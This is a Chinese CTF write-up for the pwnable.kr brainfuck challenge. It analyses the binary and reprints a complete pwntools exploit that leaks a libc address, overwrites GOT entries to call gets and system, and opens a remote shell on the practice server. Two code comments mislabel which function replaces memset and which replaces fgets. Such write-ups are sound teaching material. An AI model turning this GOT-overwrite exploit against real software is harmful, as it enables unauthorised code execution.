小白pwn之旅之pwnable10

Pwnable-----Brain Fuck

1.準備

在這裏插入圖片描述

將這兩個文件下載到ubuntu.

什麼是.so文件?

SO文件格式即ELF文件格式,它是Linux下可執行文件,共享庫文件和目標文件的統一格式。這個像是一個依賴。

2.分析

還是老樣子,我們看看文件屬性
在這裏插入圖片描述
1.將bf拖到我們的破解大法IDA pro中
在這裏插入圖片描述
看看main()中的三個函數:puts() ,memset(), fget(). 再聯想到題目竟然給出了libc.so 這多次一舉的做法明顯是讓我們通過修改GOT表,從而修改函數。
剛好 memset()和 fgets()的參數都是同一個 我們就將 memset()改爲gets(),將fgets()改爲system()
這樣我們就需要知道 memset()與fgets() 的got表地址,還要知道gets()和system()的全局地址。

2.我們點入do_brainfuck()函數
在這裏插入圖片描述

分析完了,就是要構造got。如果不明白PLT和GOT可以去看看這個
https://www.cnblogs.com/xingyun/archive/2011/12/10/2283149.html

exp

#coding:utf-8
from pwn import *
context.log_level = 'debug'
elf = ELF("./bf")
libc = ELF("./bf_libc.so")
# 處理地址部分
tape_addr = 0x0804A0A0 # p指向的tape的地址,也即是<、>影響的值
putchar_addr = 0x0804A030 # putchar地址,可在IDA或者objdump查到
putchar_libc_offset = libc.symbols['putchar'] # putchar在libc中的偏移地址
memset_addr = 0x0804A02C # memset地址,可在IDA或者objdump查到
memset_libc_offset = libc.symbols['memset'] # memset在libc中的偏移地址
fgets_addr = 0x0804A010 # fgets地址,可在IDA或者objdump查到
fgets_libc_offset = libc.symbols['fgets']# fgets在libc中的偏移地址
main_addr = 0x08048671 # main函數起始地址,可在IDA查到
raw_libc_base_addr = '' # 用於存放泄露的putchar真實地址
# 構造payload部分
payload = '' # 初始化payload
payload += '<' * (tape_addr - putchar_addr) # 調整p指向到putchar(0x0804A030)
payload += '.' # 調用一次putchar函數,讓plt中有putchar真實地址的記錄
payload += '.>' * 0x4 # 讀取putchar真實地址
payload += '<' * 0x4 + ',>' * 0x4 # 返回到putchar函數的頂部(0x0804A030),並覆寫putchar爲main函數的地址(用於覆寫完成後,回跳到程序中運行函數getshell)
payload += '<' * (putchar_addr - memset_addr + 4) # 調整p指向到memset(0x0804A02C)
payload += ',>' * 0x4 # 覆寫memset爲system函數地址
payload += '<' * (memset_addr - fgets_addr + 4) # 調整p指向到fgets(0x0804A010)
payload += ',>' * 0x4 # 覆寫fgets爲gets函數地址
payload += '.' # 調用putchar回跳到main中
#log.info("start send")
p = remote('pwnable.kr',9001)
#p = process("./bf")
p.recvuntil('welcome to brainfuck testing system!!\ntype some brainfuck instructions except [ ]\n')
p.sendline(payload)
#log.info("send end")
#gdb.attach(p,b*0x08048671)
# 計算libc基地址&各函數真實地址
p.recv(1) # 接收第一次調用putchar時,產生的1byte無用信息(\00)
raw_libc_base_addr = u32(p.recv(4)) # 接收泄露的putchar真實地址
libc_base_addr = raw_libc_base_addr - putchar_libc_offset # 泄露真實地址-函數在libc中偏移地址=libc基地址
gets_addr = libc_base_addr + libc.symbols['gets'] # 計算gets真實地址
system_addr = libc_base_addr + libc.symbols['system'] # 計算system真實地址
# 打印計算得到的各函數真實函數地址
log.success("putchar_addr = " + hex(raw_libc_base_addr))
log.success("libc_base_addr = " + hex(libc_base_addr))
log.success("gets_addr = " + hex(gets_addr))
log.success("system_addr = " + hex(system_addr))
# 輸入各函數的地址
p.send(p32(main_addr))
p.send(p32(gets_addr))
p.send(p32(system_addr))
p.sendline('//bin/sh\0') # system參數,調用sh。\0爲結束輸入符
p.interactive()


大佬的代碼,勉強自己能看懂,但自己還是不會寫

最後getshell
在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章